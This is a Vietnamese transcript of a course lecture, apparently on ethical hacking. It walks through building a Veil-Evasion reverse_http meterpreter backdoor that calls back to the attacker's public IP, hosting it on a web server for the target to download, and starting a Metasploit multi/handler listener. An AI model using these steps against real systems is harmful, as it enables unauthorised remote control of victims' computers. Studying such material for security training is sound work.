Nhà giáo dục: Được rồi, vậy bây
giờ chúng ta hãy tiếp tục.
Hãy tạo một cửa sau, và sự khác
biệt duy nhất là chúng ta sẽ đặt IP thành IP công cộng thay
vì IP cục bộ, vì vậy chúng ta sẽ tạo một cửa sau giống
hệt như cách chúng ta đã sử dụng để
tạo khi chúng ta hack các thiết bị
trong cùng một mạng.
Vì vậy, tôi sẽ sử dụng Veil-Evasion và tôi sẽ thực hiện việc này
nhanh một chút vì chúng tôi đã làm xong và
không có gì mới với điều này, vì vậy chúng tôi
có thể Liệt kê để xem chúng tôi có gì.
Tôi sẽ sử dụng số 9 vì vậy nó giống hệt trọng tải
mà chúng tôi đã sử dụng trong video trước của mình.
Đó là tải trọng http ngược lại.
Vì vậy, chúng tôi sẽ sử dụng 9
và chúng tôi có thể thấy các tùy chọn ở đây.
Chúng ta có thể thấy rằng LPORT được đặt thành 8080 theo mặc
định và tôi sẽ giữ nguyên giá trị đó.
Điều duy nhất tôi sẽ thay đổi là LHOST và trong các video
trước khi chúng tôi nhận kết nối trên máy tính
của chính mình, chúng tôi đã sử dụng để đặt nó
thành IP cục bộ, vì vậy nếu tôi làm ifconfig wlan0,
chúng tôi đã sử dụng đến 192.
168. 0. 1
vì đó là IP mà các thiết bị sử dụng bên trong mạng.
Bất cứ khi nào bạn muốn làm những việc bên ngoài,
chúng tôi muốn sử dụng IP thực vì những IP nội bộ này không
hiển thị với các máy tính bên ngoài mạng.
Vì vậy, tôi sẽ sử dụng IP mà tôi thấy trên
Google, vì vậy khi tôi nhập 'ip của tôi là
gì', tôi nhận được IP này và tôi sẽ sử dụng IP đó làm LHOST
trong backdoor của mình, vì vậy
tôi sẽ sao chép cái này và tôi
sẽ đặt nó ở đây.
Và xin lỗi tôi đã không dán nó đúng cách,
vì vậy hãy đặt.
Nhấn 'thông tin' để đảm bảo mọi thứ được thiết lập
đúng cách, vì vậy PORT 8080 chúng tôi đang sử dụng IP công cộng,
vì vậy đây là bước quan trọng nhất trong việc này và sau đó chúng
tôi sẽ thực hiện 'tạo'.
Và chúng tôi sẽ gọi điều này là 'sự bẩn thỉu. exe '.
Bạn sẽ nhấn Enter.
Và điều đó đã tạo ra tải trọng của tôi cho tôi, vì
vậy nó được lưu trữ ở đây.
Vì vậy, một lần nữa,
như thường lệ, tôi thực sự sẽ sao chép
nó và dán nó vào var www html của tôi
và tôi sẽ chỉ cho bạn cách thực sự thậm
chí tải xuống từ internet từ bên ngoài mạng.
Vì vậy, tôi sẽ sao chép nó vào thư mục máy chủ web của tôi.
Được rồi,
vậy là xong.
Bây giờ tất cả những gì chúng ta phải làm chỉ là
lắng nghe các kết nối đến.
Chúng tôi sẽ làm điều đó bằng cách sử dụng multi / handler, vì vậy
chúng tôi đã làm điều đó trước đây một lần nữa.
Tôi sẽ làm điều đó thật nhanh chóng.
Và khi tôi định nghe multi / handler, tôi thực
sự sẽ nghe trên IP cục bộ của mình, vì vậy tôi sẽ không
nghe ở bên ngoài, tôi sẽ nghe trên
địa chỉ vì tôi không thể nghe trên ngoại
thương.
Tôi thực sự đang ở trong mạng và tôi chỉ
có quyền kiểm soát máy tính hiện tại của mình.
Vì vậy, những gì tôi sẽ làm bây giờ là
ở đây, trong máy Kali, tôi sẽ nghe trên PORT 8080 và
trong thiết bị bên ngoài, cửa sau sẽ cố gắng kết nối
với cửa sau, vì vậy bước sau
đó chúng ta sẽ thiết lập Chuyển tiếp IP để cho phép bộ định tuyến chuyển
tiếp PORT 8080 tới máy Kali, nhưng trước tiên chúng ta
cần lắng nghe PORT 8080
trong máy Kali và chúng ta sẽ
làm điều đó bằng cách sử dụng multi
/ handler.
Vì vậy, tôi sẽ chỉ làm msfconsole.
Một lần nữa, chúng tôi
đã làm điều này trước đây nên tôi sẽ làm nhanh một chút.
Vì vậy, tôi sẽ 'sử dụng khai thác / đa / trình xử lý'.
Tôi sẽ đặt tải trọng thành windows
/ meterpreter / reverse_http.
Sau đó, chúng tôi sẽ đặt LPORT thành 8080, vì vậy đó là cổng
mà chúng tôi sẽ kết nối và sau đó tôi sẽ đặt LHOST, máy chủ nghe, thành
IP riêng của tôi như tôi đã nói trước
đây, vì vậy tôi ' tôi
sẽ làm 'đặt LHOST thành 192.
168. 0. 11 '.
Bây giờ tôi sẽ thực hiện 'hiển thị tùy chọn'
để đảm bảo mọi thứ được thực hiện đúng
cách và chúng ta có thể thấy rằng chúng ta có LPORT được đặt thành 8080 và máy chủ cục bộ được
đặt thành 192. 168. 0. 11 và chúng tôi đang
sử dụng một lượng lớn các cửa sổ / métpreter
/ reverse_http.
Vì vậy, tất cả đều tốt.
Tôi sẽ làm 'khai thác'.
Như bạn có thể thấy ở đây,
nó đang nghe trên IP riêng của tôi và
nó đang nghe trên PORT 8080.
Vì vậy, bây giờ chúng ta đã thực hiện
hai bước chính: chúng ta tạo
một cửa sau và cửa sau sẽ cung cấp cho chúng ta các kết
nối trở lại dựa trên địa chỉ IP thực và chúng
ta đang lắng nghe trên máy cục bộ của mình.
Chúng tôi đang nghe trên PORT 8080 trong máy Kali.
Vì vậy, khi người mục tiêu chạy
backdoor trên internet mà họ sẽ nhận
được, backdoor sẽ cố gắng
kết nối với IP này trên PORT 8080.
Vấn đề duy nhất bây giờ là Gateway, đó
là bộ định tuyến ngay tại đây.
Nó không có PORT 8080 đang mở, vì vậy
nó sẽ nhận được kết nối.
Nó sẽ không biết phải làm gì với nó, vì vậy chúng
tôi thực sự cần phải cấu hình bộ định
tuyến để thông báo cho nó bất cứ khi nào bạn nhận được
thứ gì đó, bất cứ khi nào bạn nhận được kết nối trên PORT 8080, tôi muốn
bạn chuyển hướng nó đến máy Kali của tôi.
Và chúng ta có thể làm điều đó theo hai
cách, và chúng ta sẽ nói về chúng trong bài giảng tiếp theo.